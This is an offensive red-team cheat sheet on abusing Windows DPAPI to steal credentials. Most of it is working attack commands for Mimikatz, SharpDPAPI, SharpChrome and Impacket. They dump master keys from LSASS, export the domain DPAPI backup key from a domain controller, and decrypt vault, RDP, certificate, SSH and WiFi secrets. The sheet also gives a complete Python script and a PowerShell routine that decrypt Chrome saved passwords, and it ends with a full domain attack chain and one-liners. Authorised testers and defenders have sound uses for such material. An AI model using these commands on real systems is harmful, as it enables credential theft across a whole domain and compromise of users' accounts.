DPAPI Abuse — Yggdrasil

Legend: [DPAPI] = Data Protection API | [BLOB] = DPAPI encrypted blob | [MASTER] = Master key | [CRED] = Credential file | [VAULT] = Windows Vault | [CHROME] = Browser credential | [MIMI] = Mimikatz | [SHARP] = SharpDPAPI | [DOMAIN] = Domain DPAPI | [OFFLINE] = Offline decryption | [PERSIST] = Persistence

1. DPAPI Fundamentals

What it means: DPAPI (Data Protection API) is a Windows built-in encryption service that lets applications encrypt sensitive data (passwords, keys, certificates) tied to a user's login credentials or the machine account — WITHOUT the application managing the encryption keys itself. For attackers with SYSTEM or DA access, DPAPI becomes a treasure chest of stored credentials.

1.1 What DPAPI Protects

Applications using DPAPI:
├── Chrome / Edge / Firefox → saved passwords, cookies, tokens
├── Windows Credential Manager → saved network + web credentials
├── Windows Vault → RDP passwords, certificates
├── Outlook → email account passwords (PST keys)
├── IE / Edge legacy → saved passwords
├── OneDrive / Teams → OAuth tokens
├── AWS CLI → stored access keys
├── OpenSSH for Windows → private keys
├── WiFi passwords → WPA/WPA2 keys
├── EFS (Encrypting FS) → file encryption keys
└── Custom apps using CryptProtectData()

1.2 Why DPAPI Matters for Red Teams

┌──────────────────────────────────────────────────────────────────────────────┐
│                   DPAPI CREDENTIAL THEFT (PENTEST FLOW)                      │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   User has saved credentials (Chrome / Credential Manager)                   │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Chrome encrypts secrets using DPAPI → stored in SQLite DB                  │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Attacker extracts DPAPI master key:                                        │
│                                                                              │
│     ├─ As USER   : use current logon session → decrypt directly              │
│     ├─ As SYSTEM : dump LSA secrets → recover user master key                │
│     └─ As DA     : use domain backup key → decrypt any user data             │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Decrypt all DPAPI blobs → full credential compromise                       │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

2. DPAPI Key Hierarchy

What it means: DPAPI uses a layered key hierarchy — each layer protects the next. Understanding this chain tells you exactly what you need to decrypt any given DPAPI-protected secret.

2.1 Key Hierarchy

┌──────────────────────────────────────────────────────────────────────────────┐
│                           DPAPI KEY HIERARCHY                                │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   User Password / Machine Secret                                             │
│                                                                              │
│                               ▼                                              │
│                      (PBKDF2 derivation)                                     │
│                                                                              │
│   Prekey (password + SID + entropy)                                          │
│                                                                              │
│                               ▼                                              │
│                          (decrypts)                                          │
│                                                                              │
│   Master Key (64 bytes, stored in MasterKey file)                            │
│                                                                              │
│                               ▼                                              │
│                          (decrypts)                                          │
│                                                                              │
│   DPAPI Blob (actual encrypted secret)                                       │
│                                                                              │
│                                                                              │
│   Master Key Storage:                                                        │
│                                                                              │
│     User   : C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\        │
│     System : C:\Windows\System32\Microsoft\Protect\S-1-5-18\                 │
│                                                                              │
│                                                                              │
│   Domain Backup Key (DPAPI Domain):                                          │
│                                                                              │
│     ├─ Stored on ALL Domain Controllers (LSA secret)                         │
│     ├─ Can decrypt ANY user's master key in the domain                       │
│     └─ Static (does not rotate like KRBTGT)                                  │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

2.2 Master Key File Structure

Master Key File Location:
%APPDATA%\Microsoft\Protect
C:\Users\john\AppData\Roaming\Microsoft\Protect\S-1-5-21-...
├── 12345678-1234-1234-1234-123456789abc ← Master Key file (GUID)
├── 87654321-4321-4321-4321-cba987654321 ← older key (rotation)
└── Preferred ← points to current key

Master Key file contains:
├── Master Key → encrypted with user's password-derived key
├── Backup Key → encrypted with DOMAIN backup key (if domain-joined)
└── Domain Key → can be decrypted by DC at any time!

System Master Keys:
C:\Windows\System32\Microsoft\Protect\S-1-5-18\User
└── Used for SYSTEM-level DPAPI blobs (WiFi, machine certs, etc.)

3. Enumeration & Discovery

3.1 Find DPAPI Blobs & Master Keys

# ─── List master key files for current user ───
dir "$env:APPDATA\Microsoft\Protect\" /s /a
ls $env:APPDATA\Microsoft\Protect\ -Force -Recurse

# ─── System master keys ───
ls C:\Windows\System32\Microsoft\Protect\S-1-5-18\ -Force -Recurse

# ─── Find all DPAPI blobs on the system ───
# Credential files:
ls "$env:APPDATA\Microsoft\Credentials\" -Force
ls "$env:LOCALAPPDATA\Microsoft\Credentials\" -Force
ls "C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\" -Force

# Vault files:
ls "$env:APPDATA\Microsoft\Vault\" -Force -Recurse
ls "$env:LOCALAPPDATA\Microsoft\Vault\" -Force -Recurse
ls "C:\ProgramData\Microsoft\Vault\" -Force -Recurse

# ─── Find ALL credential/vault files system-wide ───
Get-ChildItem -Path C:\Users\ -Recurse -Force -ErrorAction SilentlyContinue |
    Where-Object { $_.FullName -like "*\Microsoft\Credentials\*" -or
                   $_.FullName -like "*\Microsoft\Vault\*" }

3.2 Automated Enumeration with SharpDPAPI

# ─── SharpDPAPI — the gold standard DPAPI tool ───

# Triage all DPAPI material for current user:
.\SharpDPAPI.exe triage

# Triage credentials:
.\SharpDPAPI.exe credentials

# Triage vault:
.\SharpDPAPI.exe vaults

# Triage master keys:
.\SharpDPAPI.exe masterkeys

# Full triage (everything):
.\SharpDPAPI.exe triage /unprotect
# /unprotect = use current user context to decrypt automatically!

3.3 Seatbelt Enumeration

# Seatbelt finds DPAPI material:
.\Seatbelt.exe DPAPICredFiles
.\Seatbelt.exe DPAPIMasterKeys
.\Seatbelt.exe CloudCredentials
.\Seatbelt.exe ChromiumPresence
.\Seatbelt.exe -group=all

4. Local DPAPI Decryption

4.1 Decrypt as Current User (Easiest)

# ─── Method 1: SharpDPAPI (automatic — uses current user session) ───
.\SharpDPAPI.exe credentials /unprotect
.\SharpDPAPI.exe vaults /unprotect
.\SharpDPAPI.exe triage /unprotect

# ─── Method 2: Mimikatz (current user context) ───
.\mimikatz.exe

# Decrypt specific DPAPI blob:
dpapi::blob /in:"C:\path\to\blob.bin" /unprotect

# Decrypt credential file:
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<GUID>"

# Decrypt all credentials:
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<GUID>" /unprotect

# ─── PowerShell: CryptUnprotectData (native) ───
Add-Type -AssemblyName System.Security
$blob = [System.IO.File]::ReadAllBytes("C:\path\to\blob")
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
    $blob, $null,
    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
[System.Text.Encoding]::UTF8.GetString($decrypted)

4.2 Decrypt as SYSTEM (Local Machine Key)

:: ─── Get SYSTEM shell first ───
:: (via token impersonation, service exploit, etc.)

:: Mimikatz as SYSTEM — get user master keys via LSA ───
.\mimikatz.exe
privilege::debug
token::elevate    :: elevate to SYSTEM

:: Dump all DPAPI master keys using LSA secrets:
sekurlsa::dpapi
:: Output: ALL cached master keys for logged-on users!
::         Includes: GUID + Master Key bytes (64 bytes hex)

:: Use dumped master key to decrypt blobs:
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<GUID>" \
            /masterkey:<HEX_MASTERKEY>

4.3 Extract Master Keys via sekurlsa::dpapi

:: ─── MOST POWERFUL LOCAL METHOD ───
:: Dumps ALL cached master keys from LSASS memory!

.\mimikatz.exe
privilege::debug
sekurlsa::dpapi

:: Output example:
:: Authentication Id : 0 ; 999 (00000000:000003e7)
:: User Name         : john
:: Domain            : CORP
:: SID               : S-1-5-21-...-1105
::  
::   * GUID      : {12345678-1234-1234-1234-123456789abc}
::   * Time      : 4/8/2026 5:30:00 PM
::   * MasterKey : aabbccdd...  ← 64-byte master key!
::   * sha1(key) : 1234567890abcdef...

:: Save master key → decrypt ANY blob for that user!

5. Domain DPAPI Abuse

What it means: The most powerful DPAPI attack. Every domain-joined machine's DPAPI master keys have a backup encrypted with the Domain DPAPI Backup Key — a single RSA key stored on ALL Domain Controllers. Extracting this key lets you decrypt any DPAPI blob from any user in the entire domain — forever.

5.1 Domain Backup Key Characteristics

Domain DPAPI Backup Key:
├── RSA 2048-bit key pair
├── Created when first domain-joined machine uses DPAPI
├── Stored as LSA secret on ALL Domain Controllers
├── NEVER ROTATED (unlike KRBTGT!)
├── If stolen → decrypt ALL domain users' DPAPI secrets permanently!
├── Protected by: Domain Admin rights to extract
└── Key name: "DPAPI_SYSTEM" in LSA secrets

5.2 Extract Domain Backup Key

:: ─── Method 1: Mimikatz lsadump::backupkeys (from DA) ───
.\mimikatz.exe
privilege::debug
lsadump::backupkeys /system:DC01.corp.local /export
:: Exports:
::   ntds_capi_*.pvk   → RSA private key (PVK format)
::   ntds_capi_*.der   → RSA public key

:: ─── Method 2: Mimikatz direct ───
lsadump::backupkeys /system:DC01.corp.local /guid:{GUID} /export

:: ─── Method 3: SharpDPAPI (exports to file) ───
.\SharpDPAPI.exe backupkey /target:DC01.corp.local

:: ─── Method 4: Impacket (from Linux) ───
impacket-dpapi backupkeys --action backup \
    -t corp.local/DomainAdmin:Password@DC01.corp.local
# Saves: key_material.pvk

:: ─── Alternative: DCSync approach ───
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /guid:{backupkey-guid}" exit

5.3 Decrypt Domain User Credentials with Backup Key

:: ─── With backup key → decrypt ANY domain user's master keys ───

:: SharpDPAPI: use backup key to decrypt all credentials
.\SharpDPAPI.exe masterkeys /pvk:ntds_capi_1234.pvk
:: → Decrypts ALL master keys of current domain user!

:: Decrypt specific user's credentials:
.\SharpDPAPI.exe credentials /pvk:ntds_capi_1234.pvk
.\SharpDPAPI.exe vaults /pvk:ntds_capi_1234.pvk

:: ─── Decrypt another domain user's DPAPI blobs ───
:: 1. Copy target user's profile files:
:: %APPDATA%\Microsoft\Protect\<SID>\ (master keys)
:: %APPDATA%\Microsoft\Credentials\ (credential blobs)

:: 2. Decrypt master key using backup key:
.\SharpDPAPI.exe masterkeys \
    /target:"C:\loot\Protect\S-1-5-21-...-1105" \
    /pvk:ntds_capi_1234.pvk

:: 3. Use decrypted master key to decrypt credentials:
.\SharpDPAPI.exe credentials \
    /target:"C:\loot\Credentials\<GUID>" \
    /masterkey:<HEX_MASTERKEY>

:: ─── Mimikatz with backup key ───
.\mimikatz.exe
dpapi::masterkey /in:"C:\loot\Protect\<SID>\<GUID>" \
                 /pvk:ntds_capi_1234.pvk

:: Then use masterkey to decrypt:
dpapi::cred /in:"C:\loot\Credentials\<GUID>" \
            /masterkey:<HEX_MASTERKEY>

5.4 Impacket dpapi (Linux Attack Flow)

# ─── Full offline domain DPAPI attack from Linux ───

# Step 1: Get backup key
impacket-dpapi backupkeys \
    --action backup \
    -t corp.local/DA:Password@DC01.corp.local
# → backup_key.pvk

# Step 2: Collect user files (via SMB)
impacket-smbclient corp.local/DA:Password@WORKSTATION01.corp.local
# Download:
# C:\Users\john\AppData\Roaming\Microsoft\Protect\
# C:\Users\john\AppData\Roaming\Microsoft\Credentials\

# Step 3: Decrypt master key
impacket-dpapi masterkey \
    -file "Protect/S-1-5-21-.../key_guid" \
    -pvk backup_key.pvk

# Step 4: Decrypt credential blob
impacket-dpapi credential \
    -file "Credentials/GUID" \
    -key <HEX_MASTER_KEY>

# Step 5: Browser passwords
impacket-dpapi chrome \
    -logindata "path/to/Login Data" \
    -key <HEX_MASTER_KEY>

6. Browser Credential Extraction

What it means: Chrome, Edge, and Chromium-based browsers encrypt saved passwords using DPAPI (CryptProtectData). The encrypted passwords sit in a SQLite database — decryptable with the user's DPAPI master key.

6.1 Chrome / Edge Password Extraction

# ─── Database locations ───
# Chrome:
$chrome_db   = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
$chrome_key  = "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"

# Edge:
$edge_db     = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"
$edge_key    = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Local State"

# Brave:
$brave_db    = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Login Data"

# ─── SharpChrome (automated) ───
.\SharpChrome.exe logins
# Decrypts and dumps all Chrome saved passwords!

.\SharpChrome.exe logins /browser:edge
.\SharpChrome.exe cookies       # dump all cookies!
.\SharpChrome.exe logins /pvk:backup_key.pvk   # offline with domain backup key

# ─── SharpDPAPI chrome ───
.\SharpDPAPI.exe chrome

# ─── Manual PowerShell extraction ───
# Copy database (Chrome locks it while running):
Copy-Item $chrome_db "$env:TEMP\Login Data"

# Query saved passwords:
Add-Type -AssemblyName System.Data
$conn = New-Object System.Data.SQLite.SQLiteConnection
$conn.ConnectionString = "Data Source=$env:TEMP\Login Data"
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins"
$reader = $cmd.ExecuteReader()
while ($reader.Read()) {
    $url  = $reader["origin_url"]
    $user = $reader["username_value"]
    $enc  = $reader["password_value"]
    # Decrypt password_value with DPAPI:
    $dec  = [System.Security.Cryptography.ProtectedData]::Unprotect(
        $enc, $null,
        [System.Security.Cryptography.DataProtectionScope]::CurrentUser
    )
    Write-Host "$url | $user | $([System.Text.Encoding]::UTF8.GetString($dec))"
}

6.2 Chrome v80+ AES-256 Encryption

# Chrome v80+ uses AES-256-GCM in addition to DPAPI!
# The AES key itself is DPAPI-protected in "Local State" file

import json, base64, sqlite3, shutil, os
from Crypto.Cipher import AES
import win32crypt   # pywin32

def get_chrome_key():
    local_state_path = os.path.expandvars(
        r"%LOCALAPPDATA%\Google\Chrome\User Data\Local State")
    with open(local_state_path, 'r') as f:
        local_state = json.loads(f.read())

    # Extract encrypted key:
    encrypted_key = base64.b64decode(
        local_state["os_crypt"]["encrypted_key"])
    # Remove "DPAPI" prefix (first 5 bytes):
    encrypted_key = encrypted_key[5:]
    # Decrypt with DPAPI:
    key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
    return key

def decrypt_password(encrypted_password, key):
    try:
        # v80+ format: b"v10" + nonce(12) + ciphertext
        iv = encrypted_password[3:15]
        payload = encrypted_password[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(payload)[:-16].decode()
    except:
        # Fallback to DPAPI (older entries)
        return win32crypt.CryptUnprotectData(
            encrypted_password, None, None, None, 0).decode()[1]

# Get key + decrypt all passwords:
key = get_chrome_key()
login_db = os.path.expandvars(
    r"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data")
shutil.copy(login_db, "LoginData.db")
conn = sqlite3.connect("LoginData.db")
for row in conn.execute(
        "SELECT origin_url, username_value, password_value FROM logins"):
    url, user, enc_pass = row
    password = decrypt_password(enc_pass, key)
    print(f"[+] {url} | {user} | {password}")

7. Windows Vault & Credential Manager

What it means: Windows Credential Manager stores network credentials, web credentials, and certificates in "Vaults" — all DPAPI-encrypted. This includes saved RDP passwords, domain credentials cached for services, and NTLM hashes.

7.1 Enumerate Credential Manager

:: ─── List stored credentials ───
cmdkey /list
:: Shows all: generic, domain, certificate credentials

:: PowerShell:
[System.Security.CredentialManagement] assembly or:
Get-StoredCredential   :: if CredentialManagement module installed

:: ─── Vault locations ───
:: Web credentials:    %APPDATA%\Microsoft\Vault\
:: Windows creds:      %LOCALAPPDATA%\Microsoft\Vault\
:: System creds:       C:\ProgramData\Microsoft\Vault\

7.2 Decrypt Vault Credentials

:: ─── Mimikatz vault dump ───
.\mimikatz.exe
privilege::debug
vault::list               :: list all vaults
vault::cred /patch        :: dump ALL vault credentials!

:: Example output:
:: TargetName : Domain:target=server01
:: UserName   : CORP\john
:: Password   : P@ssword123  ← DECRYPTED!

:: ─── SharpDPAPI vaults ───
.\SharpDPAPI.exe vaults /unprotect

:: ─── SharpDPAPI with specific masterkey ───
.\SharpDPAPI.exe vaults /masterkey:<HEX_KEY>

:: ─── Manual: decrypt vault BLOB ───
dpapi::vault /in:"%APPDATA%\Microsoft\Vault\<GUID>\Policy.vpol" /unprotect
dpapi::vault /in:"%APPDATA%\Microsoft\Vault\<GUID>\<GUID>.vcrd" /unprotect

8. RDP Saved Credentials

What it means: When users check "Remember me" in Remote Desktop Connection, the credentials are stored as DPAPI-encrypted vault entries — extractable with the user's master key.

8.1 Extract RDP Credentials

:: ─── List RDP saved creds ───
cmdkey /list | findstr "TERMSRV"
:: TERMSRV = Terminal Services (RDP target)

:: ─── Decrypt RDP credentials ───
.\mimikatz.exe
vault::cred /patch
:: Look for: TargetName = TERMSRV/server.corp.local

:: ─── SharpDPAPI ───
.\SharpDPAPI.exe rdg          :: decrypt .rdg files
.\SharpDPAPI.exe vaults /unprotect

:: ─── .RDP file saved passwords ───
:: .rdg (RDCMan config) files also store DPAPI blobs!
.\SharpDPAPI.exe rdg /unprotect
:: OR
.\SharpDPAPI.exe rdg /pvk:backup_key.pvk   :: using domain backup key!

9. Certificate & SSH Key Extraction

9.1 Extract Private Keys from Certificate Store

:: ─── Enumerate user certificates ───
certutil -store My
:: Lists: personal certificates + key container GUIDs

:: ─── SharpDPAPI certificates ───
.\SharpDPAPI.exe certificates /unprotect
:: Decrypts and exports certificate private keys!

:: ─── Mimikatz certificate export ───
.\mimikatz.exe
crypto::certificates /export
:: Exports all accessible certificates to .pfx files!

:: ─── With domain backup key ───
.\SharpDPAPI.exe certificates /pvk:backup_key.pvk
:: → ALL domain user certificate private keys!

9.2 OpenSSH Key Extraction

# Windows OpenSSH stores private keys in DPAPI-encrypted format:
# C:\Users\<user>\.ssh\   (may be DPAPI-wrapped)
# C:\ProgramData\ssh\     (system keys)

# ─── SharpDPAPI SSH keys ───
.\SharpDPAPI.exe sshkeys

# ─── Manual extraction ───
$key_path = "$env:USERPROFILE\.ssh\id_rsa"
# If DPAPI encrypted, starts with: -----BEGIN DPAPI ENCRYPTED PRIVATE KEY-----
# SharpDPAPI handles decryption automatically

10. Offline DPAPI Decryption

What it means: With NTDS.dit + SYSTEM hive (from a DC or compromised machine) you can decrypt DPAPI master keys entirely offline — no live system needed. Critical for post-compromise offline analysis.

10.1 Offline Master Key Decryption

# ─── Requirements ───
# 1. User's master key file: %APPDATA%\Microsoft\Protect\<SID>\<GUID>
# 2. SYSTEM hive OR user's NTLM hash OR domain backup key

# ─── Method 1: With user NTLM hash (Impacket) ───
impacket-dpapi masterkey \
    -file "masterkeyfile" \
    -sid S-1-5-21-...-1105 \
    -password "P@ssword123"
# OR with hash:
impacket-dpapi masterkey \
    -file "masterkeyfile" \
    -sid S-1-5-21-...-1105 \
    -hash :NTLM_HASH_OF_USER

# ─── Method 2: With domain backup key ───
impacket-dpapi masterkey \
    -file "masterkeyfile" \
    -pvk backup_key.pvk

# ─── Method 3: With SYSTEM hive (for SYSTEM DPAPI blobs) ───
impacket-secretsdump -system SYSTEM LOCAL
# Get DPAPI_SYSTEM secret → derive system master key

# ─── Method 4: SharpDPAPI offline ───
.\SharpDPAPI.exe masterkeys /pvk:backup_key.pvk /target:.\Protect\

10.2 WiFi Password Extraction (SYSTEM DPAPI)

:: WiFi passwords stored in:
:: C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{GUID}\{GUID}.xml
:: Protected with SYSTEM DPAPI!

:: ─── Native method (as SYSTEM or Admin) ───
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear
:: Shows: Key Content = <WIFI_PASSWORD>

:: ─── Mimikatz ───
.\mimikatz.exe
privilege::debug
token::elevate    :: get SYSTEM
dpapi::wifi /unprotect

:: ─── SharpDPAPI wifi ───
.\SharpDPAPI.exe wifi

11. Complete Cheat Sheet

11.1 DPAPI Blob Locations

Type Location Tool
──────────────────────────────────────────────────────────────────────────────
Master Keys (user) %APPDATA%\Microsoft\Protect\ mimikatz/SharpDPAPI
Master Keys (sys) C:\Windows\System32\Microsoft\Protect\S-1-5-18\ mimikatz
Credentials %APPDATA%\Microsoft\Credentials\ vault::cred
Credentials (sys) C:\Windows\System32\config\systemprofile..\ vault::cred
Vault (user) %APPDATA%\Microsoft\Vault\ vault::list
Vault (system) C:\ProgramData\Microsoft\Vault\ vault::list
Chrome passwords %LOCALAPPDATA%\Google\Chrome...\Login Data SharpChrome
Edge passwords %LOCALAPPDATA%\Microsoft\Edge...\Login Data SharpChrome
WiFi passwords C:\ProgramData\Microsoft\Wlansvc\Profiles\ dpapi::wifi
SSH keys %USERPROFILE%.ssh\ SharpDPAPI sshkeys
Certificates %APPDATA%\Microsoft\SystemCertificates\ crypto::certs
RDCMan (.rdg) Anywhere on disk SharpDPAPI rdg

11.2 Decryption Methods by Privilege Level

Your Access Level Best Decryption Method
──────────────────────────────────────────────────────────────────────
Running as target user CryptUnprotectData / SharpDPAPI /unprotect
SYSTEM on local machine sekurlsa::dpapi → get cached master keys
Local admin Dump LSASS → sekurlsa::dpapi
Domain Admin lsadump::backupkeys → domain backup key
→ decrypt ALL domain users forever!
Offline with NTLM hash impacket-dpapi masterkey -hash
Offline with backup key impacket-dpapi / SharpDPAPI /pvk:key.pvk

11.3 Full Attack Chain

Get DA (via golden ticket / DCSync / credential theft)
↓
Extract Domain DPAPI Backup Key (lasts forever!)
mimikatz "lsadump::backupkeys /system:DC01.corp.local /export"
↓
Collect DPAPI material from target users:
- Protect\ (master keys)
- Credentials\ (vault blobs)
- Chrome Login Data (browser passwords)
- SSH keys, certificates
  ↓
Decrypt everything offline with backup key:
.\SharpDPAPI.exe triage /pvk:backup_key.pvk
↓
Result:
- All saved browser passwords
- All Windows Vault credentials
- All RDP saved passwords
- All certificate private keys
- WiFi passwords
- Any application using DPAPI

11.4 One-Line Commands

:: Dump all cached master keys from LSASS:
mimikatz "privilege::debug" "sekurlsa::dpapi" exit

:: Dump all vault credentials:
mimikatz "privilege::debug" "vault::cred /patch" exit

:: Export domain backup key:
mimikatz "lsadump::backupkeys /system:DC01.corp.local /export" exit

:: SharpDPAPI full triage (current user):
.\SharpDPAPI.exe triage /unprotect

:: SharpDPAPI with domain backup key:
.\SharpDPAPI.exe triage /pvk:backup_key.pvk

:: SharpChrome all passwords:
.\SharpChrome.exe logins

:: WiFi passwords:
mimikatz "privilege::debug" "token::elevate" "dpapi::wifi /unprotect" exit

:: All Chrome passwords (Python):
python3 chrome_decrypt.py

11.5 Tool Summary

Tool	Language	Best Use
Mimikatz	C	Live LSASS dump, vault, wifi
SharpDPAPI	C#	Comprehensive offline/online triage
SharpChrome	C#	Browser credential extraction
Seatbelt	C#	DPAPI enumeration
impacket-dpapi	Python	Offline Linux-side decryption
LaZagne	Python	All-in-one credential recovery
DonPAPI	Python	Remote DPAPI extraction